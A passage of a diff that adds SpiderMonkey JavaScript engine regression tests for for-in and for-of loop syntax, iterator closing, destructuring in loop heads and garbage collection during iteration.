+// var-initializer expression is executed before for-in expression.
+var log = "";
+for (var x = (log += "head") in (log += "|expr", null)) unreachable();
+assertEq(log, "head|expr");
+
+log = "";
+for (var x = (log += "head") in (log += "|expr", {})) unreachable();
+assertEq(log, "head|expr");
+
+
+// for-in expression isn't executed when var-initializer throws exception.
+function ExpectedError() {}
+assertThrowsInstanceOf(() => {
+ var throwErr = () => { throw new ExpectedError(); };
+ for (var x = throwErr() in unreachable()) unreachable();
+}, ExpectedError);
+
+
+// Ensure environment operations are performed correctly.
+var scope = new Proxy({x: 0}, new Proxy({}, {
+ get(t, pk, r) {
+ log += pk + "|";
+ }
+}));
+
+log = "";
+with (scope) {
+ for (var x = 0 in {}) ;
+}
+assertEq(log, "has|get|set|getOwnPropertyDescriptor|defineProperty|");
+
+log = "";
+with (scope) {
+ for (var x = 0 in {p: 0}) ;
+}
+assertEq(log, "has|get|set|getOwnPropertyDescriptor|defineProperty|".repeat(2));
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/statements/for-in-with-assignment-syntax.js b/js/src/tests/non262/statements/for-in-with-assignment-syntax.js
new file mode 100644
index 0000000000..7540b4bd1b
--- /dev/null
+++ b/js/src/tests/non262/statements/for-in-with-assignment-syntax.js
@@ -0,0 +1,66 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+const validSyntax = [
+ "var x",
+];
+
+const destructuring = [
+ "[]",
+ "[,]",
+ "[a]",
+ "[a = 0]",
+ "[...a]",
+ "[...[]]",
+ "[...[a]]",
+ "{}",
+ "{p: x}",
+ "{p: x = 0}",
+ "{x}",
+ "{x = 0}",
+];
+
+const invalidSyntax = [
+ ...destructuring.map(binding => `var ${binding}`),
+ "let x",
+ ...destructuring.map(binding => `let ${binding}`),
+ "const x",
+ ...destructuring.map(binding => `const ${binding}`),
+ "x",
+ ...destructuring.map(binding => `${binding}`),
+ "o.p",
+ "o[0]",
+ "f()",
+];
+
+for (let valid of validSyntax) {
+ Function(`for (${valid} = 0 in {});`);
+ assertThrowsInstanceOf(() => Function(`"use strict"; for (${valid} = 0 in {});`),
+ SyntaxError);
+}
+
+for (let invalid of invalidSyntax) {
+ assertThrowsInstanceOf(() => Function(`for (${invalid} = 0 in {});`), SyntaxError);
+}
+
+// Invalid syntax, needs method context to parse.
+assertThrowsInstanceOf(() => Function(`({ m() { for (super.p = 0 in {}); } })`), SyntaxError);
+assertThrowsInstanceOf(() => Function(`({ m() { for (super[0] = 0 in {}); } })`), SyntaxError);
+
+assertThrowsInstanceOf(() => Function(`for (0 = 0 in {});`), SyntaxError);
+assertThrowsInstanceOf(() => Function(`for (i++ = 0 in {});`), SyntaxError);
+assertThrowsInstanceOf(() => Function(`for (new F() = 0 in {});`), SyntaxError);
+assertThrowsInstanceOf(() => Function(`function f() { for (new.target = 0 in {}); }`), SyntaxError);
+assertThrowsInstanceOf(() => Function(`class C extends D { constructor() { for (super() = 0 in {}); } }`), SyntaxError);
+
+// Same as above, only this time don't make it look like we actually parse a for-in statement.
+assertThrowsInstanceOf(() => Function(`for (0 = 0 #####`), SyntaxError);
+assertThrowsInstanceOf(() => Function(`for (i++ = 0 #####`), SyntaxError);
+assertThrowsInstanceOf(() => Function(`for (new F() = 0 #####`), SyntaxError);
+assertThrowsInstanceOf(() => Function(`function f() { for (new.target = 0 #####`), SyntaxError);
+assertThrowsInstanceOf(() => Function(`class C extends D { constructor() { for (super() = 0 #####`), SyntaxError);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/statements/for-in-with-assignments.js b/js/src/tests/non262/statements/for-in-with-assignments.js
new file mode 100644
index 0000000000..302be2b42d
--- /dev/null
+++ b/js/src/tests/non262/statements/for-in-with-assignments.js
@@ -0,0 +1,87 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "for-in-with-assignments.js";
+var BUGNUMBER = 1164741;
+var summary = "Parse |for (var ... = ... in ...)|."
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// This is a total grab-bag of junk originally in tests changed when this
+// syntax was removed. Leaving it all in one file will make it easier to
+// eventually remove. Avert your eyes!
+// TC39 has revived this syntax for ES2017 - "What is dead may never die."
+
+if (typeof Reflect !== "undefined" && Reflect.parse)
+ Reflect.parse("for (var x = 3 in []) { }");
+
+/******************************************************************************/
+
+function testQ() {
+ try {
+ for (var i = 0 in this) throw p;
+ } catch (e) {
+ if (i !== 94)
+ return "what";
+ }
+}
+testQ();
+
+/******************************************************************************/
+
+function f3(i,o){for(var x=i in o)parseInt(o[x]); return x}
+function f4(i,o){with(this)for(var x=i in o)parseInt(o[x]); return x}
+
+assertEq(f3(42, []), 42);
+assertEq(f3(42, ['first']), "0");
+assertEq(f4(42, []), 42);
+assertEq(f4(42, ['first']), "0");
+
+/******************************************************************************/
+
+function SetLangHead(l){
+ with(p){
+ for(var i=0 in x)
+ if(getElementById("TxtH"+i)!=undefined)
+ parseInt('huh');
+ }
+}
+x=[0,1,2,3];
+p={getElementById: function (id){
+ if (typeof dis === "function") {
+ dis(SetLangHead);
+ }
+ return undefined;
+}};
+SetLangHead(1);
+
+/******************************************************************************/
+
+(function(){for(var x = arguments in []){} function x(){}})();
+
+/******************************************************************************/
+
+with (0)
+ for (var b = 0 in 0); // don't assert in parser
+
+/******************************************************************************/
+
+function* g1() {
+ for (var x = yield in {}) ;
+}
+var it = g1();
+assertEq(it.next().done, false);
+assertEq(it.next().done, true);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/statements/for-in-with-declaration.js b/js/src/tests/non262/statements/for-in-with-declaration.js
new file mode 100644
index 0000000000..13c71b19c8
--- /dev/null
+++ b/js/src/tests/non262/statements/for-in-with-declaration.js
@@ -0,0 +1,31 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var gTestfile = "for-in-with-declaration.js";
+var BUGNUMBER = 1163851;
+var summary =
+ "Declarations in for-in loop heads must not contain |in|-expression " +
+ "initializers";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertThrowsInstanceOf(() => Function("for (var x = 3 in {}; ; ) break;"), SyntaxError);
+assertThrowsInstanceOf(() => Function("for (var x, y = 3 in {}; ; ) break;"), SyntaxError);
+assertThrowsInstanceOf(() => Function("for (var x = 5, y = 3 in {}; ; ) break;"), SyntaxError);
+assertThrowsInstanceOf(() => Function("for (const x = 3 in {}; ; ) break;"), SyntaxError);
+assertThrowsInstanceOf(() => Function("for (const x = 5, y = 3 in {}; ; ) break;"), SyntaxError);
+assertThrowsInstanceOf(() => Function("for (let x = 3 in {}; ; ) break;"), SyntaxError);
+assertThrowsInstanceOf(() => Function("for (let x, y = 3 in {}; ; ) break;"), SyntaxError);
+assertThrowsInstanceOf(() => Function("for (let x = 2, y = 3 in {}; ; ) break;"), SyntaxError);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/statements/for-in-with-destructuring-assignments.js b/js/src/tests/non262/statements/for-in-with-destructuring-assignments.js
new file mode 100644
index 0000000000..6741c885e5
--- /dev/null
+++ b/js/src/tests/non262/statements/for-in-with-destructuring-assignments.js
@@ -0,0 +1,130 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "for-in-with-destructuring-assignments.js";
+var BUGNUMBER = 1164741;
+var summary = "|for (var <pat> = ... in ...)| is invalid syntax";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// This is a total grab-bag of junk originally in tests changed when this
+// syntax was removed. Avert your eyes!
+
+assertThrowsInstanceOf(() => eval(`
+ for (var [x] = x>>x in [[]<[]])
+ {
+ [];
+ }`),
+ SyntaxError);
+
+/******************************************************************************/
+
+assertThrowsInstanceOf(function() {
+ // Abandon all hope, ye who try to read this.
+ eval(`
+ (function () {
+ for
+ (var [x] = function(){}
+ in
+ (function m(a) {
+ if (a < 1) {
+ x;
+ return;
+ }
+ return m(a - 1) + m(a - 2);
+ })(7)(eval(""))
+ )
+ {
+ [];
+ }
+ })
+ `)();
+}, SyntaxError);
+
+/******************************************************************************/
+
+assertThrowsInstanceOf(() => eval(`
+ for (var [e] = [] in (eval("for (b = 0; b < 6; ++b) gc()"))) {}
+`), SyntaxError);
+
+/******************************************************************************/
+
+assertThrowsInstanceOf(() => eval("for (var [ v , c ] = 0 in undefined) { }"),
+ SyntaxError);
+
+/******************************************************************************/
+
+assertThrowsInstanceOf(() => eval("var b = e; for (var [e] = b in w) c"),
+ SyntaxError);
+
+/******************************************************************************/
+
+assertThrowsInstanceOf(() => eval("for (var {a: []} = 2 in []) { }"),
+ SyntaxError);
+
+/******************************************************************************/
+
+assertThrowsInstanceOf(() => eval(`try
+ {
+ for (var [,{y}] = 1 in []) {}
+ }
+ catch(ex)
+ {
+ }`),
+SyntaxError);
+
+/******************************************************************************/
+
+assertThrowsInstanceOf(() => eval("for (var [x] = [] in null);"),
+ SyntaxError);
+
+/******************************************************************************/
+
+assertThrowsInstanceOf(() => eval("for (var [x] = x in y) var x;"),
+ SyntaxError);
+
+/******************************************************************************/
+
+assertThrowsInstanceOf(() => eval(`
+ for (var [arguments] = ({ get y(){} }) in y ) (x);
+`),
+SyntaxError);
+
+/******************************************************************************/
+
+if (typeof evalcx == 'function') {
+ var src = 'try {\n' +
+ ' for (var [e] = /x/ in d) {\n' +
+ ' (function () {});\n' +
+ ' }\n' +
+ '} catch (e) {}\n' +
+ 'try {\n' +
+ ' let(x = Object.freeze(this, /x/))\n' +
+ ' e = {}.toString\n' +
+ ' function y() {}\n' +
+ '} catch (e) {}';
+
+ try
+ {
+ evalcx(src);
+ throw new Error("didn't throw");
+ }
+ catch (e)
+ {
+ assertEq(e.name === "SyntaxError", true,
+ "expected invalid syntax, got " + e);
+ }
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/statements/for-in-with-gc-and-unvisited-deletion.js b/js/src/tests/non262/statements/for-in-with-gc-and-unvisited-deletion.js
new file mode 100644
index 0000000000..34e1eba1ec
--- /dev/null
+++ b/js/src/tests/non262/statements/for-in-with-gc-and-unvisited-deletion.js
@@ -0,0 +1,76 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var gTestfile = "for-in-with-gc-and-unvisited-deletion.js";
+var BUGNUMBER = 1462939;
+var summary =
+ "Don't mishandle deletion of a property from the internal iterator " +
+ "created for a for-in loop, when a gc occurs just after it";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function testOneDeletion()
+{
+ var o = {
+ p: 1,
+ r: 3,
+ s: 4,
+ };
+
+ for (var i in o)
+ {
+ gc();
+ delete o.s;
+ }
+}
+testOneDeletion();
+
+function testTwoDeletions()
+{
+ var o = {
+ p: 1,
+ r: 3,
+ s: 4,
+ t: 5,
+ };
+
+ for (var i in o)
+ {
+ gc();
+ delete o.t;
+ delete o.s;
+ }
+}
+testTwoDeletions();
+
+function testThreeDeletions()
+{
+ var o = {
+ p: 1,
+ r: 3,
+ s: 4,
+ t: 5,
+ x: 7,
+ };
+
+ for (var i in o)
+ {
+ gc();
+ delete o.x;
+ delete o.t;
+ delete o.s;
+ }
+}
+testThreeDeletions();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/statements/for-in-with-gc-during-iterator-init.js b/js/src/tests/non262/statements/for-in-with-gc-during-iterator-init.js
new file mode 100644
index 0000000000..d36322878f
--- /dev/null
+++ b/js/src/tests/non262/statements/for-in-with-gc-during-iterator-init.js
@@ -0,0 +1,30 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var gTestfile = "for-in-with-gc-during-iterator-init.js";
+var BUGNUMBER = 1464472;
+var summary =
+ "Properly trace NativeIterator when a GC occurs during its initialization";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+gczeal(17, 1);
+for (var i = 0; i < 100; ++i)
+{
+ Object.prototype[1012] = "value";
+ imports = {};
+ for (dmod in imports)
+ continue; // gc occurs here converting 1012 to string
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/statements/for-inof-coverinitname-destr-assign.js b/js/src/tests/non262/statements/for-inof-coverinitname-destr-assign.js
new file mode 100644
index 0000000000..ba9e409599
--- /dev/null
+++ b/js/src/tests/non262/statements/for-inof-coverinitname-destr-assign.js
@@ -0,0 +1,55 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+const defaultValue = "default-value";
+const unreachable = () => { throw "unreachable"; };
+
+// for-in statement, object destructuring.
+var forIn;
+for ({forIn = defaultValue} in {"": null});
+assertEq(forIn, defaultValue);
+
+forIn = undefined;
+String.prototype.forIn = defaultValue;
+for ({forIn = unreachable()} in {"": null});
+delete String.prototype.forIn;
+assertEq(forIn, defaultValue);
+
+// for-in statement, array destructuring.
+forIn = undefined;
+for ([forIn = defaultValue] in {"": null});
+assertEq(forIn, defaultValue);
+
+forIn = undefined;
+for ([forIn = unreachable()] in {"ABC": null});
+assertEq(forIn, "A");
+
+
+// for-of statement, object destructuring.
+var forOf;
+for ({forOf = defaultValue} of [{}]);
+assertEq(forOf, defaultValue);
+
+forOf = undefined;
+for ({forOf = unreachable()} of [{forOf: defaultValue}]);
+assertEq(forOf, defaultValue);
+
+// for-of statement, array destructuring.
+forOf = undefined;
+for ([forOf = defaultValue] of [[]]);
+assertEq(forOf, defaultValue);
+
+forOf = undefined;
+for ([forOf = unreachable()] of [[defaultValue]]);
+assertEq(forOf, defaultValue);
+
+
+// for-statement, object destructuring.
+assertThrowsInstanceOf(() => eval(`
+ for ({invalid = 0};;);
+`), SyntaxError);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/statements/for-inof-finally.js b/js/src/tests/non262/statements/for-inof-finally.js
new file mode 100644
index 0000000000..e1f0c77e12
--- /dev/null
+++ b/js/src/tests/non262/statements/for-inof-finally.js
@@ -0,0 +1,78 @@
+var BUGNUMBER = 1332881;
+var summary =
+ "Leaving for-in and try should handle stack value in correct order";
+
+print(BUGNUMBER + ": " + summary);
+
+var called = 0;
+function reset() {
+ called = 0;
+}
+var obj = {
+ [Symbol.iterator]() {
+ return {
+ next() {
+ return { value: 10, done: false };
+ },
+ return() {
+ called++;
+ return {};
+ }
+ };
+ }
+};
+
+var a = (function () {
+ for (var x in [0]) {
+ try {} finally {
+ return 11;
+ }
+ }
+})();
+assertEq(a, 11);
+
+reset();
+var b = (function () {
+ for (var x of obj) {
+ try {} finally {
+ return 12;
+ }
+ }
+})();
+assertEq(called, 1);
+assertEq(b, 12);
+
+reset();
+var c = (function () {
+ for (var x in [0]) {
+ for (var y of obj) {
+ try {} finally {
+ return 13;
+ }
+ }
+ }
+})();
+assertEq(called, 1);
+assertEq(c, 13);
+
+reset();
+var d = (function () {
+ for (var x in [0]) {
+ for (var y of obj) {
+ try {} finally {
+ for (var z in [0]) {
+ for (var w of obj) {
+ try {} finally {
+ return 14;
+ }
+ }
+ }
+ }
+ }
+ }
+})();
+assertEq(called, 2);
+assertEq(d, 14);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/statements/for-inof-loop-const-declaration.js b/js/src/tests/non262/statements/for-inof-loop-const-declaration.js
new file mode 100644
index 0000000000..e8daa343b9
--- /dev/null
+++ b/js/src/tests/non262/statements/for-inof-loop-const-declaration.js
@@ -0,0 +1,94 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "for-inof-loop-const-declaration.js";
+var BUGNUMBER = 1278150;
+var summary = "Support const declarations in for-of loop heads";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var count;
+
+count = 0;
+for (const x in "abcdef")
+{
+ assertEq(x, "" + count++);
+
+ try
+ {
+ x = 3;
+ throw new Error("didn't throw");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "didn't get a TypeError, instead got: " + e);
+ }
+}
+
+count = 0;
+for (const x of "012345")
+{
+ assertEq(x, "" + count++);
+
+ try
+ {
+ x = 3;
+ throw new Error("didn't throw");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "didn't get a TypeError, instead got: " + e);
+ }
+}
+
+count = 0;
+for (const { length, 0: c } in "abcdef")
+{
+ assertEq(length, 1);
+ assertEq(c, "" + count++);
+
+
+ try
+ {
+ length = 1;
+ throw new Error("didn't throw");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "didn't get a TypeError, instead got: " + e);
+ }
+}
+
+count = 0;
+for (const { length, 0: c } of "012345")
+{
+ assertEq(length, 1);
+ assertEq(c, "" + count++);
+
+ try
+ {
+ c = 42;
+ throw new Error("didn't throw");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "didn't get a TypeError, instead got: " + e);
+ }
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/statements/for-inof-name-iteration-expression-contains-index-string.js b/js/src/tests/non262/statements/for-inof-name-iteration-expression-contains-index-string.js
new file mode 100644
index 0000000000..212b34db97
--- /dev/null
+++ b/js/src/tests/non262/statements/for-inof-name-iteration-expression-contains-index-string.js
@@ -0,0 +1,43 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var gTestfile = "for-inof-name-iteration-expression-contains-index-string.js";
+var BUGNUMBER = 1235640;
+var summary =
+ "Don't assert parsing a for-in/of loop whose target is a name, where the " +
+ "expression being iterated over contains a string containing an index";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function f()
+{
+ var x;
+ for (x in "9")
+ continue;
+ assertEq(x, "0");
+}
+
+f();
+
+function g()
+{
+ "use strict";
+ var x = "unset";
+ for (x in arguments)
+ continue;
+ assertEq(x, "unset");
+}
+
+g();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/statements/for-loop-declaration-contains-computed-name.js b/js/src/tests/non262/statements/for-loop-declaration-contains-computed-name.js
new file mode 100644
index 0000000000..7928d049dc
--- /dev/null
+++ b/js/src/tests/non262/statements/for-loop-declaration-contains-computed-name.js
@@ -0,0 +1,48 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "for-loop-declaration-contains-computed-name.js";
+var BUGNUMBER = 1233767;
+var summary =
+ "Support computed property names in destructuring declarations in " +
+ "for-in/of loop heads";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var count;
+
+count = 0;
+for (var { [5]: x, [x]: y } of [{ 5: 42, 42: "hi" }, { 5: 17, 17: 'fnord' }])
+{
+ if (count === 0) {
+ assertEq(x, 42);
+ assertEq(y, "hi");
+ } else {
+ assertEq(x, 17);
+ assertEq(y, "fnord");
+ }
+
+ count++;
+}
+
+count = 0;
+for (var { length: x, [x - 1]: y } in "foo")
+{
+ assertEq(x, 1);
+ assertEq("" + count, y);
+
+ count++;
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/statements/for-loop-declaration-contains-initializer.js b/js/src/tests/non262/statements/for-loop-declaration-contains-initializer.js
new file mode 100644
index 0000000000..7010c9eba9
--- /dev/null
+++ b/js/src/tests/non262/statements/for-loop-declaration-contains-initializer.js
@@ -0,0 +1,50 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "for-loop-declaration-contains-computed-name.js";
+var BUGNUMBER = 1233767;
+var summary =
+ "Support initializer defaults in destructuring declarations in for-in/of " +
+ "loop heads";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var count;
+var expr;
+
+expr = [{ z: 42, 42: "hi" }, { 7: 'fnord' }];
+count = 0;
+for (var { z: x = 7, [x]: y = 3 } of expr)
+{
+ if (count === 0) {
+ assertEq(x, 42);
+ assertEq(y, "hi");
+ } else {
+ assertEq(x, 7);
+ assertEq(y, "fnord");
+ }
+
+ count++;
+}
+
+count = 0;
+for (var { length: x, [x - 1 + count]: y = "psych" } in "foo")
+{
+ assertEq(x, 1);
+ assertEq(y, count === 0 ? "0" : "psych");
+
+ count++;
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/statements/for-of-async-of-starting-lhs.js b/js/src/tests/non262/statements/for-of-async-of-starting-lhs.js
new file mode 100644
index 0000000000..eba66679a3
--- /dev/null
+++ b/js/src/tests/non262/statements/for-of-async-of-starting-lhs.js
@@ -0,0 +1,116 @@
+if (typeof getRealmConfiguration === "undefined") {
+ var getRealmConfiguration = SpecialPowers.Cu.getJSTestingFunctions().getRealmConfiguration;
+}
+
+const IsTopLevelAwaitEnabled = getRealmConfiguration().topLevelAwait;
+
+const AsyncFunction = async function(){}.constructor;
+
+function assertNoError(f, msg) {
+ try {
+ f();
+ } catch (e) {
+ assertEq(true, false, `${msg}: ${e}`);
+ }
+}
+
+function assertSyntaxError(code) {
+ assertThrowsInstanceOf(function () { Function(code); }, SyntaxError, "Function:" + code);
+ assertThrowsInstanceOf(function () { AsyncFunction(code); }, SyntaxError, "AsyncFunction:" + code);
+
+ if (typeof parseModule === "function") {
+ assertThrowsInstanceOf(function () { parseModule(code); }, SyntaxError, "Module:" + code);
+ }
+}
+
+function assertNoSyntaxError(code) {
+ assertNoError(function () { Function(code); }, "Function:" + code);
+ assertNoError(function () { AsyncFunction(code); }, "AsyncFunction:" + code);
+
+ if (typeof parseModule === "function") {
+ assertNoError(function () { parseModule(code); }, "Module:" + code);
+ }
+}
+
+function assertNoSyntaxErrorAsyncContext(code) {
+ assertNoError(function () { AsyncFunction(code); }, "AsyncFunction:" + code);
+
+ if (typeof parseModule === "function" && IsTopLevelAwaitEnabled) {
+ assertNoError(function () { parseModule(code); }, "Module:" + code);
+ }
+}
+
+const invalidTestCases = [
+ // for-in loop: LHS can't start with an async arrow function.
+ "for ( async of => {} in [] ) ;",
+ "for ( async o\\u0066 => {} in [] ) ;",
+
+ // for-of loop: LHS can't start with an async arrow function.
+ "for ( async of => {} of [] ) ;",
+ "for ( async o\\u0066 => {} of [] ) ;",
+
+ // for-of loop: LHS can't start with an identifier named "async".
+ "for ( async of [] ) ;",
+
+ // for-await-of loop: LHS can't start with an async arrow function.
+ "for await ( async of => {} of [] ) ;",
+ "for await ( async o\\u0066 => {} of [] ) ;",
+];
+
+for (let source of invalidTestCases) {
+ assertSyntaxError(source);
+
+ // Also test when the tokens are separated by newline characters.
+ assertSyntaxError(source.split(" ").join("\n"));
+}
+
+// for-loop: async arrow functions are allowed in C-style for-loops.
+assertNoSyntaxError("for ( async of => {} ; ; ) ;")
+
+const validTestCases = [
+ // for-loop: LHS can start with an identifier named "async".
+ "for ( async ; ; ) ;",
+ "for ( \\u0061sync ; ; ) ;",
+
+ // for-in loop: LHS can start with an identifier named "async".
+ "for ( async in [] ) ;",
+ "for ( \\u0061sync in [] ) ;",
+
+ // for-in loop: LHS can start with an property assignment starting with "async".
+ "for ( async . prop in [] ) ;",
+ "for ( async [ 0 ] in [] ) ;",
+
+ // for-of loop: LHS can start with an identifier named "async" when escape characters are used.
+ "for ( \\u0061sync of [] ) ;",
+
+ // for-of loop: LHS can start with an property assignment starting with "async".
+ "for ( async . prop of [] ) ;",
+ "for ( async [ 0 ] of [] ) ;",
+];
+
+for (let source of validTestCases) {
+ assertNoSyntaxError(source);
+
+ // Also test when the tokens are separated by newline characters.
+ assertNoSyntaxError(source.split(" ").join("\n"));
+}
+
+const validTestCasesAsync = [
+ // for-await-of loop: LHS can start with an identifier named "async".
+ "for await ( async of [] ) ;",
+ "for await ( \\u0061sync of [] ) ;",
+
+ // for-await-of loop: LHS can start with an property assignment starting with "async".
+ "for await ( async . prop of [] ) ;",
+ "for await ( async [ 0 ] of [] ) ;",
+];
+
+for (let source of validTestCasesAsync) {
+ assertNoSyntaxErrorAsyncContext(source);
+
+ // Also test when the tokens are separated by newline characters.
+ assertNoSyntaxErrorAsyncContext(source.split(" ").join("\n"));
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/statements/for-of-iterator-close-throw.js b/js/src/tests/non262/statements/for-of-iterator-close-throw.js
new file mode 100644
index 0000000000..1974e416be
--- /dev/null
+++ b/js/src/tests/non262/statements/for-of-iterator-close-throw.js
@@ -0,0 +1,35 @@
+function test() {
+ var returnCalled = 0;
+ var returnCalledExpected = 0;
+ var catchEntered = 0;
+ var finallyEntered = 0;
+ var finallyEnteredExpected = 0;
+ var iterable = {};
+ iterable[Symbol.iterator] = makeIterator({
+ ret: function() {
+ returnCalled++;
+ throw 42;
+ }
+ });
+
+ // inner try cannot catch IteratorClose throwing
+ assertThrowsValue(function() {
+ for (var x of iterable) {
+ try {
+ return;
+ } catch (e) {
+ catchEntered++;
+ } finally {
+ finallyEntered++;
+ }
+ }
+ }, 42);
+ assertEq(returnCalled, ++returnCalledExpected);
+ assertEq(catchEntered, 0);
+ assertEq(finallyEntered, ++finallyEnteredExpected);
+}
+
+test();
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/statements/for-of-iterator-close.js b/js/src/tests/non262/statements/for-of-iterator-close.js
new file mode 100644
index 0000000000..b28895d8fe
--- /dev/null
+++ b/js/src/tests/non262/statements/for-of-iterator-close.js
@@ -0,0 +1,102 @@
+// Tests that IteratorReturn is called when a for-of loop has an abrupt
+// completion value during non-iterator code.
+
+function test() {
+ var returnCalled = 0;
+ var returnCalledExpected = 0;
+ var iterable = {};
+ iterable[Symbol.iterator] = makeIterator({
+ ret: function() {
+ returnCalled++;
+ return {};
+ }
+ });
+
+ // break calls iter.return
+ for (var x of iterable)
+ break;
+ assertEq(returnCalled, ++returnCalledExpected);
+
+ // throw in body calls iter.return
+ assertThrowsValue(function() {
+ for (var x of iterable)
+ throw "in body";
+ }, "in body");
+ assertEq(returnCalled, ++returnCalledExpected);
+
+ // throw in lhs ref calls iter.return
+ function throwlhs() {
+ throw "in lhs";
+ }
+ assertThrowsValue(function() {
+ for ((throwlhs()) of iterable)
+ continue;
+ }, "in lhs");
+ assertEq(returnCalled, ++returnCalledExpected);
+
+ // throw in iter.return doesn't re-call iter.return
+ iterable[Symbol.iterator] = makeIterator({
+ ret: function() {
+ returnCalled++;
+ throw "in iter.return";
+ }
+ });
+ assertThrowsValue(function() {
+ for (var x of iterable)
+ break;
+ }, "in iter.return");
+ assertEq(returnCalled, ++returnCalledExpected);
+
+ // throw in iter.next doesn't call IteratorClose
+ iterable[Symbol.iterator] = makeIterator({
+ next: function() {
+ throw "in next";
+ }
+ });
+ assertThrowsValue(function() {
+ for (var x of iterable)
+ break;
+ }, "in next");
+ assertEq(returnCalled, returnCalledExpected);
+
+ // "return" must return an Object.
+ iterable[Symbol.iterator] = makeIterator({
+ ret: function() {
+ returnCalled++;
+ return 42;
+ }
+ });
+ assertThrowsInstanceOf(function() {
+ for (var x of iterable)
+ break;
+ }, TypeError);
+ assertEq(returnCalled, ++returnCalledExpected);
+
+ // continue doesn't call iter.return for the loop it's continuing
+ var i = 0;
+ iterable[Symbol.iterator] = makeIterator({
+ next: function() {
+ return { done: i++ > 5 };
+ },
+ ret: function() {
+ returnCalled++;
+ return {};
+ }
+ });
+ for (var x of iterable)
+ continue;
+ assertEq(returnCalled, returnCalledExpected);
+
+ // continue does call iter.return for loops it skips
+ i = 0;
+ L: do {
+ for (var x of iterable)
+ continue L;
+ } while (false);
+ assertEq(returnCalled, ++returnCalledExpected);
+}
+
+test();
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/statements/for-of-iterator-primitive.js b/js/src/tests/non262/statements/for-of-iterator-primitive.js
new file mode 100644
index 0000000000..6d69a1282f
--- /dev/null
+++ b/js/src/tests/non262/statements/for-of-iterator-primitive.js
@@ -0,0 +1,28 @@
+var BUGNUMBER = 1021835;
+var summary = "Returning non-object from @@iterator should throw";
+
+print(BUGNUMBER + ": " + summary);
+
+let primitives = [
+ 1,
+ true,
+ undefined,
+ null,
+ "foo",
+ Symbol.iterator
+];
+
+for (let primitive of primitives) {
+ let obj = {
